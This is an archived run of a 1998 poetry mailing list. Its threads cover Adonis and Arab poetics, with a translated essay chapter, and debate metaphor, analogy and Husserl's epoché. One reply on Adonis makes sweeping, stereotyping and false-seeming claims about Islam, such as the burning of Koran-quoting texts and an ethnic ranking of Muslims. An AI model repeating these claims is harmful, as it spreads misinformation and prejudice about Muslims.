> *Language being so much more interesting than ideas, the phrase "Adorenoashes" makes me think of Adonis -- the contemporary Arabic poet. I just ordered his "Intro to Arab Poetics" (hope that title is right) from Amazon. Anyone read it?*

Yes, I have -- it is a terrific book -- Adonis is a terrific poets and thinker -- unhappily too much is not yet translated, though a few poems from one of the latest books were done excellenty by Allen Hibbard & Osama Isber (published in SULFUR). That poem "A desire moving through the maps of the

material" is also reprinted in Millennium Vol II as is a theoretical text
from 1992. I am right now translating a few exceprts from a book of essays
called LA PRIERE ET L'EPEE. Superb work. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
“All my life I’ve heard
one makes many”
— Charles Olson
==========

↑ Index

637. **morpheal**
Re: a metaphor
Thu 19 Mar 1998

> *"Ah, Critic,*
> *more and more*
> *you club the life*
> *out of this dead*
> *topic.*
> *What for?*
> *Put down your stick,*
> *Professor,*
> *use knife*
> *and for*
> *k [sic]*
> *instead."*

Emendation:

"...and short
declarative
tightly controlled
sentences
suitable only
for command."

Of course that suggests an ever more prevalent anti-intellectual attitude of unquestioning, increasingly muscle tensioned, knife and fork mentality, accompanied by an attack on poetic license, attempting to revoke same, in favour of more tactical Anglish, such as is favoured by language "properly" thought of as being short, declarative, sentences of command....?

Paraphrased: The poet as hanged man, subject to twists of meaning.

Either that or the poet's words as deadly force and the writer having to register possession of such a deadly weapon, under new legislation yet to be approved by Congress. The need having been recognized that regulation is necessitated of those inevitably violent distortions of proper usage, anarchic in their tending to ignorance of linearity, and as they do not properly punctuate, disrespectful, ill mannered, not knowing how to properly begin or end anything, poet-tries....but a poet surely tries, making the effort to say the unsayable... Shameful. The punishment will be grammatical lessons as to the writing of the most constrained and proper prose, since that seems to be the deficit. If that fails remediation as to intentional meaning and communicative effects being reversed, will begin and persist until poet-tries are abandoned in vein. That, or make the poet stare into a mirror forever and ever. That ought to do it, if nothing else does.

During the Cold War there was someone to blame, but no more....as now there is only US. In the immortal words of that great American poet Pogo "we have met the enemy and he is US". All of US, presumably, and without national boundaries.

Phenomenologically bracketing out any assumptions.

Morpheal

↑ Index

638. **Daniel Zimmerman**

Re: adorno's ashes

Thu 19 Mar 1998

Tom Mandel wrote:
>
> Language being so much more interesting than ideas, the phrase
> "Adorenoashes" makes me think of Adonis -- the contemporary Arabic poet. I
> just ordered his "Intro to Arab Poetics" (hope that title is right) from
> Amazon. Anyone read it?
>
> Tom
>

>
Hi, Tom.

Adonis presents a rich and readable explanation of Arab poetics from orality to modernity, e.g., "Language... is not a tool for communicating a detached meaning. It is meaning itself because it is thought. Indeed, it precedes thought and is succeeded by knowledge. This implies that the criterion of meaning was contained in language itself, and was defined by the rules of language" (82). He maintains a dual perspective--poetic and sociohistorical--and helps to calibrate the compass. You might also find interesting Harold Coward's _Sacred Word and Sacred Text: Scripture in World Religions_. (Maryknoll, NY: Orbis, 1988). ISBN 0-88344-604-9 (pbk). Also his _The Sphota Theory of Language_. (Delhi: Motilal Banarsidsss, --can't find it just now, so I don't know the date).

Dan Zimmerman

↑ Index

639. **LanceEli3**
Re: warts of religion
Thu 19 Mar 1998

I know this is all unpoetic, but I can not help but comment on such statements as these:

> *The project of Peter & Paul was, in a sense, to make Jews of all mankind, and so far you have to admit they have been successful in a number of ways. Unsuccessful in others.*

Peter and Paul were cetainly Jews, but where in the world does the idea that they wanted to make everyone Jews come from. So much of the New Testament (written by Paul) tells the Jews not to force Old Testament law on Gentile Christians (particularly circumcision, the primary "mark" of a Jew). It is true that Christianity as taught by Paul embraces Jewish history and scriptures, but his goal was not to expand the Israelite nation. One of the themes of the Bible is that "all nations will be blessed through Israel." First Israel will be blessed, then the whole world. So Israel and Jewish history was simply a starting point, not an end (to Paul).

I don't know, perhaps I entered this "conversation" to late . . .

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640. **henry gould**
Re: warts of religion
Thu 19 Mar 1998

On Thu, 19 Mar 1998 10:59:31 EST LanceEli3 said:
>
>Peter and Paul were cetainly Jews, but where in the world does the idea
>that they wanted to make everyone Jews come from. So much of the New
>Testament (written by Paul) tells the Jews not to force Old Testament law
>on Gentile Christians (particularly circumcision, the primary "mark" of a
>Jew). It is true that Christianity as taught by Paul embraces Jewish
>history and scriptures, but his goal was not to expand the Israelite
>nation. One of the themes of the Bible is that "all nations will be
>blessed through Israel." First Israel will be blessed, then the whole
>world. So Israel and Jewish history was simply a starting point, not an
>end (to Paul).

I meant that Xtianity is a Biblical religion and the core of it, the spiritual core of it, is Hebraic. - Henry G.

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641. **Pierre Joris**
Adonis
Thu 19 Mar 1998

To quickly pick up two threads, one old -- the metaphor discussion --, one new -- Tom's query re Adonis --, here the last chapter, of a longish Adonis essay on Arab poetics & involving metaphor. The modern poets he speaks of are those of the Abassid period, i.e. Abu Tamman, Ibn al-Mu'tazz, Abu Nuwas & Co., inventing urban modern poetics some 800 to 1000 years before Baudelaire & co. were on the euro-scene. This is an insta-translation, as I type, so, please excuse mistapes... Pierre

ADONIS -- ChapterXIV of “THE FIXED AND THE MOBILE; TRADIITON AND INNOVATION IN ARAB CULTURE”

During pre-islamic times, poetry imitated man who, in turn, imitated poetry. And man thus saw himself in his own mirror. Poetry spoke life; life spoke poetry. After the advent of Islam, poetry became but a simple part of a larger whole -- the islamic vision of the world. While poetic content submitted itself to religious power, form remained attached to the pre-islamic language. It’s only with the beginning of the Omeyyad period that poetry started to distance itself from religion. Islam by then had become a simple external social and political frame. But the real poetic revolution took place in the Abassid era.(1) It

consisted in an interrogation of the question of origin: is the latter truly perfect? Is it really impossible to go beyond it? The answer that was reached was of course negative — creation being, precisely, synonymous with origin. Now, in the matter of poetic creation, no origin can, in the absolute, be better than any other. Creation being a stranger to time, "modern" poetry can indeed surpass "ancient" poetry. The criterion no longer resides in the ancientness or the modernity as such: ancient creation and modern creation can thus meet. The "innovating" poets of the Abassid period thus show the way that the contemporary poets have found again. Today, creation has to move in the direction of transgressing the know, towards producing the new or the unknown. The relationship between tradition and creation is no longer a relation of cause and effect. Furthermore, the time of the former is different from that of the latter. The work is simultaneously contemporary and non-contemporary. The moment of creation does not necessarily correspond to historical moment of the tradition. The creator lives simultaneously in all times. The moment of the work may not partake in the predominant taste; anyway, it is the great works which create this taste, always. It is in the dialectic of the apparent and the hidden, of the visible and the invisible that this "time of the creation" has expressed itself. And it is thanks to that dialectic that the way opens to go beyond the fixed traditional image of religion. This dialectic has also permitted the emergence of the riches of language and poetry, and of creative experience in general, the principle domain of which was metaphor, the essential dimension of interpretation. As metaphor is the artistic form of thought, traditonalism rejected it just as it had rejected the doctrine of interpretation. For the traditionalist current, everything that's written in the Koran is literally true; God's language cannot be metaphorical. What is called "metaphor" in the language of the Koran thus represents a reality whose essence we are ignorant of. If poetry wants to be religious, it has to abandon metaphor. Indeed, in the traditionalists' mind metaphor is akin to a kind of "magic," consisting in substituting the false for the true. But the poets, without worrying about it, keep on using metaphor, and poetry becomes resolutely pluri-simensional, gifted with a plurality of meanings. Thus metaphor has had the virtue of "opening" a language which until then was "closed." This is the great lesson of that "modernity" of which the "innovators" of the Abassid period were the precursors. This revolution has produced a new poetic language which, rather than describing the apparent in itself, proposes to unveil its meaning. The unveiling thus becomes the goal of all utterance. No matter the certainties or the teachings, what is essential is to open the doors of the imagination. This new conception of language achieved three major changes. The first consisted in proposing that the imagination lies at the origin of the world; the second, that the criterion for evaluating poetic experience lies in the transgression of the ordinary and the common. The third consisted in recommending a perpetual invention of new forms. Form is no longer the image of

the poem-object, but the image of the relation, in the poem, between the poet and the world. Form has become the very breath of the poem: in itself, already, a product of the imagination. It is in this way that Arab poetry found again the deep sense of its true tradition: a tradition of innovation and questioning.

1. The Abassyd dynasty succeeded the Omeyyad dynasty in 750 and ruled until 1258, date of the conquest of Bagdad by the turco-mongolian army.

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

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642. **morpheal**
Re: I cain hep it
Thu 19 Mar 1998

> *Tom says we live in Rome. But according to Beatrice, we live in Sioux Falls.*
> *Beatrice is God & Henry is her Prophet.*
> *The Ark of the Covenant is a 4-dimensional Frisbee.*
> *With Eagle Feathers.*
> *Made of a special kind of clay.*
> *Called Silly Putty.*
> *- St. Henry de Petersburg*

When in Rome do as the Americans do. The tabloids report Beatrice Foods is launching suit against all other Beatrices who are all, it is alleged, and without any exceptions, heretofor and forthwith, considered damaging to that incorporate reputation, and so what's in a name ? Sioux Falls is in an uproar. Rumours abound that Sue had a serious accident but no one is quite sure which version to believe. Beatrice is changing her name & Henry has gone into chicken ranching. His primary rational is not monetary gain but the spiritual fact that chickens are something that can be lass-sued. There is a loose connection in all these facts on the fringes of near urban life. Any ark in a storm. The sacred frisbee

vanishes into a quantum well causing a long line of flagelland physicists to pilgrimage seeking Sue. With chicken feathers dyed respectable colours. Clay feet came from original lumps of clay giving original sin a new meaning. All people who are not silly putty by nature will be subject to being exchanged.

- St. Looney de Ottawa

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643. **CharSSmith**
Re: Heller/objectivists/SPT
Thu 19 Mar 1998

In a message dated 98-03-19 09:28:16 EST, you write:

<< anyone know if the new collection of essays on the Objectivists has come out yet and if so how to get a copy?

 burt kimmelman >>

Rachel Blau DuPlessis should know. You still lurking here, Rachel?

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644. **Gwyn McVay**
Any Korean speakers?
Thu 19 Mar 1998

Wondering if any lister or lurker speaks Korean and could backchannel me any literal/denotative meanings of the name "Poe Hwa," or your best gloss--thx. much.

Gwyn "Once and Future Gringa" McVay

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645. **Mark Prejsnar**
Re: opposite
Thu 19 Mar 1998

I find this post completely baffling. I was talking about the Brooklyn Dodgers, as I recall...

"only opposite of the word racist"??? ...**Huh?**

The Dodgers who kept the team from carrying out a racist "job action" against Jackie Robinson were, I think, (for their time and place) anti-racist guys...

Right?

Your're too profound for me, Bill. Thank heavens I at least understand the in-field fly rule!!

Mark
@lanta

On Wed, 18 Mar 1998, Maz881 wrote:

> *in an interesting post about the cia, mark P wrote:*
>
> *"anti-racist guys"*
>
> *is this the "only" opposite of the word racist?*
>
> *like for fascist couldn't you say anarchist or communist or democracy believer in?*
>
> *for sexist, what?*
>
> *interested in these big words lately.*
>
> *Bill Luoma*

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646. **Tom Vogler**
[1]POETICS Digest - 17 Mar
Thu 19 Mar 1998

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[1]POETICS Digest - 17 Mar 1998 to 18 Mar 3/19/98

Please note that my new email address is
[redacted]
Your message has been forwarded

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647. **Aldon Nielsen**
Adonis
Thu 19 Mar 1998

I hope I'm wrong, but I think I rmember having recently read a notice of the death of this fine poet & critic --

anybody know for sure?

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648. **William Burmeister Prod**
Re: Adonis
Thu 19 Mar 1998

Content-Description: Text

On Mar 19, 12:48pm, Pierre Joris sent:
> Subject: Adonis
> To quickly pick up two threads, one old -- the metaphor discussion --, one new --
> Tom's query re Adonis --, here the last chapter, of a longish Adonis essay on Arab
> poetics & involving metaphor. The modern poets he speaks of are those of the
> Abassid period, i.e. Abu Tamman, Ibn al-Mu'tazz, Abu Nuwas & Co., inventing urban
> modern poetics some 800 to 1000 years before Baudelaire & co. were on the
> euro-scene. This is an insta-translation, as I type, so, please excuse mistapes...
> Pierre

Can we see some examples to back this incredible claim? Pierre, I can't help but think that what you have posted below maybe means something to you (a kinship with) your manisfesto on a nomadic poetics. Is there any such meaning for ya?

> ADONIS -- ChapterXIV of “THE FIXED AND THE MOBILE; TRADIITON AND INNOVATION
IN
> ARAB CULTURE
.
.
.
>As metaphor is the artistic form of thought, traditonalism rejected it just
>as it had rejected the doctrine of interpretation. For the traditionalist
>current, everything that’s written in the Koran is literally true; God’s language >cannot be metaphorical. What is called “metaphor” in the language of
the Koran >thus represents a reality whose essence we are ignorant of. If poetry wants to >be religious, it has to abandon metaphor. Indeed, in the traditionalists’ mind >metaphor is akin to a kind of “magic,” consisting in substituting the false for
>the true. But the poets, without worrying about it, keep on using metaphor, >and poetry

Now make that perhaps the rejection of metaphor by traditionalism's successor science & technology. Is metaphor the artistic form of thought (merely)? Does metaphor have a place in a world at large ruled by science (include pseudo science) and technology? Once saw a show in which a famous spaceship of entrepid galaxy hopping humanists encountered another spacefaring race which spoke almost entirely in metaphor. Metaphors with alot of references to their ancient myths, epics, and whatever. The question is how could they have reached that level of technology with a language (spoken) consisting largely of metaphor. Or am I stuck in 1984?

William Burmeister

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649. **Daniel Zimmerman**

Metaphornymia

Thu 19 Mar 1998

Sorry, but:

metonymicity: Coy? Me? Tiny Tim?
metaphoricity: I'm a poetry itch.

The first uses all of its letters to represent part of its potential in the [metonymic?] figure of Tiny Tim; the second predicates itself as prior to itself--an impulse toward its own creation [and thus violates the tense of its verb]. A dead heat? [& how about *that* metaphor?!].

Dan Zimmerman

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650. **Stephen Cope**

Petition: Gay Rights/American Airlines

Thu 19 Mar 1998

> *Passing this along....*
>
> *Stephen Cope*
>
> *X-Originating-IP: [192.147.65.114]*
> *From: "Bradley Wise" <[redacted]>*
> *To: [redacted], [redacted], [redacted],*
> *[redacted], [redacted], [redacted],*
> *[redacted], [redacted],*

[redacted], [redacted], [redacted]
Subject: A Petition for Gay Rights
Date: Tue, 17 Mar 1998 12:15:58 PST

Dear Friends,

American Airlines is a major sponsor to and supporter of groups like GLADD, the Human Rights Campaign, the Gay and Lesbian Victory Fund, the AIDS Action Foundation, DIFFA, AmFAR, and scores of community-based groups representing gays and lesbians. It is also the first airline to adopt a written non-discrimination policy covering sexual orientation in its employment practices.

In an unusual joint letter released to the media on Friday, March 14th from the Family Research Council, Concerned Women of America, American Family Association and Coral Ridge Ministries, American Airlines was openly criticized about their policy.

Radical right leader Beverly LaHaye also went on Christian "talk radio" on Friday to blast American Airlines because "American's sponsorship of homosexual 'pride' events constitutes an open endorsement of promiscuous homosexuality." She and the other groups have written Bob Crandall at American to complain that the airline has "gone beyond mere tolerance" of gays and lesbians.

The full article appears in Friday's Fort Worth Star-Telegram, and possibly picked up by other newspapers around the country. It has come to the attention of the gay and lesbian community that American Airline's switchboard and E-mails are being bombarded now by homophobic and hateful callers who have been urged by LaHaye and others to DEMAND the company terminate its gay-friendly policies.

Please add your name to this petition and forward it to as many people as you can. To add your name just cut and paste this onto new mail and send it out!

If you are the 25th, 50th, 75th, 100th, etc. person to sign this petition then also please forward this to American Airlines at [redacted]

To American Airlines:
We, the undersigned, support your gay/lesbian rights policies and commend you for your efforts in ending discrimination. Thank you for your dedication to such issues and please continue to remain active in the struggle to end discrimination.

1. *Bob Fulton Johnson, Cambridge, MA*
2. *Gary Iredell, Somerville, MA*

> *3. Keith MacDonald, Boston, MA*
> *4. Will Cook, Boston, MA*
> *5. Gerald Denis, Boston, MA*
> *6. Brian Sands, New Orleans, LA*
> *7. Ben Pesner, New York, NY*
> *8. Craig Lucas*
> *9. Mitchell Lichtenstein*
> *10. Vincent Sanchez*
> *11. Eve Gordon*
> *12. Todd Waring*
> *13. Steve Hendrickson, Minneapolis, MN*
> *14. Megan Odell, Minneapolis, MN*
> *15. Chris Boulton, Pittsburgh, PA*
> *16. Matthew Boulton, Cambridge, MA*
> *17. Holly Grant, Boston, MA*
> *18. Elizabeth Mueller, Austin, TX*
> *19. Rebecca Braslau, CA*
> *20. Dan Kluger, SF CA*
> *21. Aureliano DeSoto, Montreal, QC*
> *22. David Conner, San Francisco, CA*
> *23. Brad S. Wise, San Francisco, CA*
> *24. Stephen Cope, San Diego, CA*
>
> ---

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651. **Nada Gordon**

Re: understanding/pomometametonymicalisexuality

Thu 19 Mar 1998

Joe Safdie wrote:

> *Nada's recent question,*
> *namely "is there anything that we understand in and by itself and without*
> *the aid of analogy?" seem to have gotten very short shrift.*

Actually, Don Wellman went into my question quite deeply. I'm not sure if his message was posted to the list or not, because I only got one copy, directly from him and not the list. Don, however, says he got his list copy and that I can go ahead and post my reply to his post:

Don, I perceived in your post a whiff of sophistry and in re-reading mine a blast of loose diction.

you wrote

> *I am challenging the notion that there is an indirect understanding.*
> *Nada Gordon wrote, "Is there anything we understand in itself and not by any*
> *analogy whatsoever? Would that be *enlightenment*?" More problematical*
> *for me than the meaning of "understand" is the meaning of "anything."*
>
> *There seems to be a mechanistic notion of the relation between words and*
> *things here...that is if "anything" refers to discourse.*

No, I didn't mean for "anything" to refer to discourse -- but rather the world which we mediate or construct (depending on your metaphor) indirectly via discourse.

The metaphor I'm picturing is a giant web of likenesses and differences -- that's not original is it -- Saussure? Perception or apprehension may be direct, but what the mind does immediately afterwards (and sometimes before, in acts of prediction, anticipation and prejudice) is to place the perception somewhere in that web in order to try to "understand" Where did you find the mechanistic notion of the relation between words and things? I hope I don't think that way -- it sounds so rigid, not to mention unfashionable.

> *When I drink*
> *wine, I do not experience it by analogy.*

No, but the first time you drank wine, you probably had to go through the (maybe instantaneous) process of connecting drinkable liquids (water, grape juice--similes) to the wine that was before you to ensure it was not in fact gasoline or some other non-drinkable liquid. In time you learned to create distinctions about wines, Gallo being in big jugs and working class, etc.; you learned that wine was a soPHISticated EuropEan thing to drink; that white is for seafood

Yes, these are associations, maybe not analogies. Or some are analogies and some are distinctions and most are associations -- but they are all mediations of experience.

When I read Nada's sentence, I
>hear a desire for immedicacy--that seems to float off her words and does
>not require mental acrobatics on my part to understand.

Do I feel a desire for immediacy? Maybe. A kind of "cut the bullshit" impatience with my mind. But I don't feel some poignant heavy longing or anything like that. I am curious about this immediacy thing but I'm not sure it's humanly possible -- although "enlightened" people claim to perceive everything (that web) in a sudden flash of connectedness and present-ness. I also seem to remember a philosopher (who was it? help me here) talking about a state of mind called EPOCHE in which we experience something, if only for a moment, without any

preconceptions, we see a bird and don't call it a BIRD or a SPARROW, we observe the movement, the feathers, the shape of the head, the sharp little beak,but the brain doesn't rush to file it in a nest of preconceptions and memories and experiences and classifications in order to understand it.

I'm not sure what you meant about mental acrobatics but I suspect you may be insulting me. Doesn't understanding anything require mental acrobatics? Even unwilled and unconscious? Or do we just grok by sudden immediate grasping?

That is my
>impression and it may be rationally indefensible. I am trying to say
>that the thing in itself is more likely to be a feeling rather than a
>brick in the road. I suppose if the brick in the road gave me a feeling
>that would be enlightenment (a religous epipnay).

If the brick in the road gave you a feeling it would make you a lyrical poet. If the thing in itself is a feeling rather than a brick in the road what would we build our houses with? (It's all right for impressions to be rationally indefensible. I like that.)

> *When I analyze Nada's statement, I load it with irony. I have no sense that this irony is intentional or the thing she wants to communicate,*

Irony has a bunch of meanings. One is pretended naivete (Socratic irony) that intends to lure something out of an interlocutor. Another is a statement that actually means the opposite or something quite different from what it literally states.

Which irony did you load my statement with?

When I analyze my motives, I find there was some of both kinds of irony there.

> *but my mind now buzzes with associations between Kant, Enlightenment era philosopy,*

I didn't mean that kind of enlightenment, the age of reason kind. I live in the "far east" and I am not particularly rational. The logos gives me the *willies*.

the Age of Reason, the thing in itself, etc. None of what I
>am doing now is by analagy; it is by association. I don't feel my mind
>switching off as it follows its indirections.

OK I concede that what I meant was sometimes "by association" and sometimes "by analogy." (Sometimes by metonymy and sometimes by metaphor -- but (almost?) never by itself -- "never ever jam today")

> *What is politically or socially interesting to me about metaphor and analogy is the way they their use can direct some one's thoughts, help*

> *some one see. A bad simile is a wonderful attack on reason--a refusal to allow the irrational to become rational, wonderfully irreveerent with respect to a too precious sense of how language is supposed to work. My sense of that irreverence is direct. I like it.*

YES YES YES! That was the *real* point of my post and not those afterthought questions I tacked on at the end.

> *I wrote earlier that a "grammar of metonymic overlays is that of the Canto's..." --by this I meant no more than the major structural device in the Cantos is the overlay of image on image, of phrase on phrase, passage on passage. Pound himself uses the word super-position to describe his method of composition in his "Vorticism" where he also attachs both symbolism and synechdoce, of I remember. From this I derive the notion that it is the overlay of one field of images (or allusions) on another that creates structural metaphors or what he calls the "forma"*

This sounds like another version of the web? -- you see I am trying really hard here to understand what you're talking about by means of analogy. All this you're building is a structural metaphor too.

in his essay "Medievalism."--near the end of the Cantos, he
>likens each overlay to the facets of a crystal--the point seems to be a
>centered overlay of transparent forms--something he experienced
>"englightenment"--only intermittantly--politically, as differences
>become drained of their particular importance he becomes more
>totalitarian. By contrast, deleuze and Guattari, as their plateaus slide
>over one another, they produce differences.

This sounds a little like living on the San Andreas fault (another analogy, sorry, I'm getting lost in all these models -- my plateaus are slippery -- oo).

> *To my understanding, this is one of the crucial differences between modernism and postmodernism. The structural metaphors, metaphors of process, in modernism as represented by the Cantos are mraked by both reverence and quasi-scientific notionas of rationalism. Pound, again in "Vorticism" calls his method more like calculus than algebra, hence his denegration of easy connections between meaning and figures of speech like synechdoche.Still it seems to me that metaphor blossoms in ways that transcend or thread or cause energy to run through the planes of his composition. We see the rose in the steel dust. Christine Brooke Rose is much better on this than I am ...*

OK, if metaphors blossom or thread than they are either

metaphor 1: part of an interdependent garden or ecology of meanings
metaphor 2: strings on a web (a sort of macrame world)

> *I for one can not see such roses or vortices as directly as he did--as he hoped--they do not exist objectively for me.*

Roses don't exist objectively for you? (How) do they exist? Or what does that mean, "objectively"?

The forma does not
>constrain my indirection and flight of association and I prize instead
>that flight--that becomes my direct experience,

So you're positing an alogical equivalence! INDIRECTION = DIRECTNESS. I love it!

one of decentered
>flight, one of play ...
>
>His enlightenment becomes my fake simile? ... I am getting flakey now,
>having reached the limits of my ability to maintain a faced of
>coherence.

Did you intend face or facet? Facet goes with your earlier metaphor but it's faces that are maintained, or "saved".

The most important thing that I wanted to say is that even
>direction is a form of immediate thought ... I don't now what
>non-immediate thought is unless a deja vue slaps me in the face.
>

Hmm, that's funny. I would say that what's so eerie about deja vu experiences is their immediacy or anyway their sudden demand for recognition -- you think, "I know this, I know this sequence as a whole already."

Don, your post is like a carousel of horned philosophers grabbing at imitation seafood in the midnight. I mean that as a kind of steel rose in the vortex.

Yoroshiku,

Nada

↑ Index

652. **Daniel Zimmerman**
Re: understanding/pomometametonymicalisexuality
Thu 19 Mar 1998

Nada Gordon wrote:
>
> Joe Safdie wrote:

>
> ><snip>

> Don, I perceived in your post a whiff of sophistry and in re-reading mine a
> blast of loose diction.
>
> you wrote
>
> >When I drink
> >wine, I do not experience it by analogy.
>
DZ: The first time I drank wine, I got stupid and puked. The stupid part, I think, derived from analogy to other sober moments of stupidity which I'd experienced--directly and vicariously--before; the puking represented an act of intelligence. As my oenological sophistication matured, I generally ceased puking and a modicum of wit (lunatic at first, admittedly, then gradually drier... sec!) displaced torrential boorishness--at least in my own rather hazy memory. I attribute this recapitulation of phylogeny to the kindness of the increasingly bright and often alcoholic crowd who put up with me. In other words, I developed not only a tolerance for the grape, but a respectful affinity for it, by way of analogizing my behavior under its influence with that of my peers. I like to drink champagne; how 'bout you?

> *When I read Nada's sentence, I*
> *hear a desire for immedicacy--that seems to float off her words and does not require mental acrobatics on my part to understand.*
>
> *Do I feel a desire for immediacy? Maybe. A kind of "cut the bullshit" impatience with my mind. But I don't feel some poignant heavy longing or anything like that. I am curious about this immediacy thing but I'm not sure it's humanly possible -- although "enlightened" people claim to perceive everything (that web) in a sudden flash of connectedness and present-ness. I also seem to remember a philosopher (who was it? help me here) talking about a state of mind called EPOCHE in which we experience something, if only for a moment, without any preconceptions, we see a bird and don't call it a BIRD or a SPARROW, we observe the movement, the feathers, the shape of the head, the sharp little beak,but the brain doesn't rush to file it in a nest of preconceptions and memories and experiences and classifications in order to understand it.*

DZ: Edmund Husserl.
>
>
I am trying to say
> >that the thing in itself is more likely to be a feeling rather than a

> >brick in the road. I suppose if the brick in the road gave me a feeling
> >that would be enlightenment (a religous epiphany).
>
> If the brick in the road gave you a feeling it would make you a lyrical poet.
> If the thing in itself is a feeling rather than a brick in the road what
> would we build our houses with?
> (It's all right for impressions to be rationally indefensible. I like that.)
>
DZ: Let him who is without mortar lay the first brick.
> >
> >When I analyze Nada's statement, I load it with irony. I have no sense
> >that this irony is intentional or the thing she wants to communicate,
>
> Irony has a bunch of meanings. One is pretended naivete (Socratic irony)
> that intends to lure something out of an interlocutor. Another is a
> statement that actually means the opposite or something quite different
> from what it literally states.
>
> Which irony did you load my statement with?
>
> When I analyze my motives, I find there was some of both kinds of irony there.

DZ: Let him who is without guilt cast the first stone.
>
> ><snip>

DZ: Forgive my intrusion into this marvellous discussion. Flags need wind, & I've offered a puff or two.

Dan Zimmerman

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653. **morpheal**
Re: Adonis
Thu 19 Mar 1998

>Tom's query re Adonis --, here the last chapter, of a longish Adonis essay on >Arab poetics & involving metaphor. The modern poets he speaks of are those of >the Abassid period, i.e. Abu Tamman, Ibn al-Mu'tazz, Abu Nuwas & Co., inventing > urban modern poetics some 800 to 1000 years before Baudelaire & co. were on >the euro-scene. This is an insta-translation, as I type, so, please excuse >mistapes...Pierre

> *ADONIS -- ChapterXIV of "THE FIXED AND THE MOBILE; TRADIITON AND INNOVATION IN ARAB CULTURE"*

>During pre-islamic times, poetry imitated man who, in turn, imitated poetry. .....And
>man thus saw himself in his own mirror. Poetry spoke life; life spoke poetry.
> After the advent of Islam, poetry became but a simple part of a larger whole -
>the islamic vision of the world. While poetic content submitted itself to
>religious power, form remained attached to the pre-islamic language.
> It's only with the beginning of the Omeyyad period that poetry started to
>distance itself from religion. Islam by then had become a simple external
>social and political frame. But the real poetic revolution took place in the >Abassid era.

This is very odd, and probably very misleading.

1). Arab culture became Islamic culture. That's it, pure and simple. Even its deviances occur very rigidly within an Islamic framework. I know of no exceptions to that fact.

2). Poetry within that socio-cultural contextual situatedness, subsequent to the writing of the Koran, believed to be by Mohammed, whom the Islamic believers refer to as a prophet, is strictly limited to rhyming poetry of a very specific kind. In fact the kind that is used by a suitor seeking marriage, and written by the suitor to a woman. As polite as such verse usually is, even nowadays, it is considered very baudy and "off colour" at the very best. The interesting fact is that, according to the rules, it MUST rhyme, though there are very specific and complicted limits as to content as well as the restriction to rhyming verse.

3). Mohammed, the reputed author of the Koran, was reputedly a poet, and along with other poets, is said to have been in contest. Such contests were traditional, at the black rock at Mecca, in pre-Islamic times. Since then such contests have ended. Only the Koran is recited there, as far as I know, and never any other poetry. The poetry contests ended when the Islamic era began. (The story of Mohammed reputedly having had the verses of the Koran dictated to him, in a cave, need not be repeated here.)

4). There is Sufi poetry, but Sufi poetry is quite a different matter. As I tend to understand that, the Sufi's claim exception as to methods, even though they have adopted Islamic beliefs to which their methods supposedly lead others who are reputedly unable to follow the more direct path prescribed by the Koran. So Sufi poetry has its unusual quirks and offers various fascinations and spiritual hooks. Not the only hooks in the tradition, but certainly

hooks meant to urge conversion to belief in essentially the same ideas as espoused by the Arab mainstream.

5). Within Islamic culture, it appears, sociologically, that the arrangement is highly hierarchical and stratified. The desert Arabs are the highest level, then the other groups. Pakistanis tend to be regarded as among the lowest. The Persians as somewhere below the desert Arabs. Of course there is internal conflict, but nevertheless there does tend to be a spiritual class structure of sorts, even if loosely maintained. This has a lot to do with the factof language. The Koran is properly known only in its ancient Kufic Arabic form, not even in modern Arabic.

The other groups rarely know modern Arabic, let alone ancient Arabic. In fact many Arabs cannot read the Koran in its orignal form. Poetry, of spurious kinds, though keeping loosely within the Islamic themes and somewhat consistent with Islamic beliefs, tends to be more prevalent in other cultures other than that of the desert Arabs. On the other hand, as in Iran, in the spirit of spiritual competitions, with the desert Arabs, which is a very important concept within Islamic tradition, there is tendency towards very rigid totalistic purging of such strains of poetics and more than a hard line urging towards purity where the only poetry is the Koran and certainly to them the only acceptable poetry.

So, in fact, there is less and less, sanctioned poetry within Islamic culture, but more and more stress upon the Koran as essentially the last _proper_ instance of poetry within their culture. In fact there is an Islamic belief, often put into practice, that anything referring esplicitly to the Koran's contents that is not the Koran, particularly if it includes Arabic language, must be burned as an abomination.

So I really do have difficulty understanding what that article is about. Sure isn't about anything on this planet.....

Morpheal

↑ Index

654. david bromige
shameful bowering promo
Thu 19 Mar 1998

Listpersons who may recall the name "George Bowering" will now be able to examine at length several shameful episodes purportedly from his life by going to http://www.chbooks.com/onlinebooks/piccolo/title.html

There one can find the novel _Piccolo Mondo_ , online in all of its 25 chapters.This book, which concerns itself with campus life in 1961 in Vancouver, was

authored by GB together with wife Angela B and bosom-buddy Mike Matthews. Because I was also at UBC then, and knew not enough to avoid GB, I was a friend of Angela and Mike as well. Due no doubt to this friendship, these 3 are circulating a rumor that I too had a hand in writing this collocation of disgraceful episodes. If I did, so what? It was only to help out an old buddy or 3. Back in 1961, I helped them out of several bars a week. There are a few bugs in the text, but the fetish object formerly known as "a book" will be available within weeks, bug-free. When recoiling at the listed price of said object, remember that CAN$28 is only about US$18 .

And keep in mind that Bowering Manor is mortgaged up the wazoo to cover GB's gambling debts.

Shameful Promo over, dutifully yrs, db3.

↑ Index

655. **Don Wellman**
Re: understanding/pomometametonymicalisexuality
Thu 19 Mar 1998

> *Nada Gordon wrote:*
>
> *I also seem to remember a philosopher (who was it? help me here) talking about a state of mind called EPOCHE in which we experience something, if only for a moment, without any preconceptions, we see a bird and don't call it a BIRD or a SPARROW, we observe the movement, the feathers, the shape of the head, the sharp little beak,but the brain doesn't rush to file it in a nest of preconceptions and memories and experiences and classifications in order to understand it.*
>
> *DZ: Edmund Husserl.*

Thanks Dan. I should have suspected phenomenology at play here. Husserl is getting at what I meant by both the brick and the wine that I envoked. I guess I took to wine more immediately than some.

Don Wellman

↑ Index

656. **Don Wellman**
[Fwd: understanding/pomometametonymicalisexuality]
Thu 19 Mar 1998

This is a multi-part message in MIME format.

My reply to Nada on this thread is attached, I hope.

Don Wellman

Date: Thu, 19 Mar 1998 10:30:38 -0500
From: Don Wellman <[redacted]>
To: Nada Gordon <[redacted]>
Subject: Re: understanding/pomometametonymicalisexuality
References: <v01510110b1365527c66b@[203.216.8.222]>

